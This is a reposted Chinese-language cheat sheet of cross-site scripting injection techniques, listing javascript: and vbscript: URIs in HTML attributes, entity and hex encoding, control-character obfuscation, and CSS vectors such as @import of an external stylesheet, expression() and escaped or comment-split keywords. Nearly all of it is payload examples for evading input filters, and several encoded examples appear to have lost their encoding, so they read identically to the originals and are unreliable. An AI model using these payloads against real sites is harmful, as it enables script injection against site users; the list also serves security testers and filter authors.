XSS代碼觸發條件,插入XSS代碼的常用方法


1.腳本插入

(1)插入javascript和vbscript正常字符。

例1:<img src=”javascript:alert(/xss/)”>

例2:<table background=”javascript:alert(/xss/)”></table>’/在表格中插入腳本

例3:<img src=”vbscript:msgbox(“a”)”>

(2)轉換字符類型。將javascript或vbscript中的任一個或全部字符轉換為十進制或十六進制字符

例1:<img src=”javascript:alert(/xss/)”> ‘/將j字符轉為十進制字符j 。

例2:<img src=”javascript:alert(/xss/)”> ‘/將j字符轉為十六進制字符j 。

(3)插入混淆字符。在系統控制字符中,除了頭部的&#00(null)和尾部的 (del)外,其他31個字符均可作為混淆字符,比如 、 等字符都可插入到

javascript或vbscript的頭部,其中Tab符 、換行符、回車符還可以插入到代碼中任意地方。

例1:<img src=” javascript:alert(/a/)”> ‘/插入到代碼頭部,其中 可寫成 ,效果一樣

例2:<img src=”java scr ipt:alert(/a/)”> ‘/插入到代碼中任意位置,其中 可寫成

例3:<IMG SRC=”jav ascript:alert(‘XSS’)”> ‘/ 是回車符的16進制形式

例4:<IMG SRC=”jav ascript:alert(‘XSS’)”> ‘/ 是換行符的16進制形式

2.樣式表

(1)利用CSS代碼@import、expression觸發XSS漏洞。

例1:@import “http://web/xss.css”; ‘導入外部帶有XSS代碼的CSS樣式表。

例2:@import’javascript:alert(“xss”)’; ‘調用javascript腳本觸發漏洞

例3:body{xss:expression(alert(‘xss’))} ‘在內部樣式表中加入expression事件

例4:<img style=”xss:expression(alert(“xss”))”>’在內嵌樣式表中加入expression事件

(2)在CSS代碼中加入javascript和vbscript腳本

例1:body{background-image:url(javascript:alert(“xss”))}

例2:body{background-image:url(vbscript:msgbox(“xss”))}

(3)轉換字符類型,以十六進制字符替換其中或全部的字符:

例1:@\0069mport:url(web/1.css);’//將其中的i轉為\0069

例2:body{xss:\0065xpression(alert(‘xss’))}’//將e轉換為\0065

例3:body{background-image:\0075\0072\006c…}’將url全轉為16進制

(4)插入混淆字符,在css中,/**/是注釋字符,除了/**/外,字符”\”和結束符”\0″也是被忽略的,可以用來混淆字符。

例1:@\0im\port’\0ja\vasc\ript:alert(“xss”)’;

例2:@\i\0m\00p\000o\0000\00000r\000000t”url”;


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM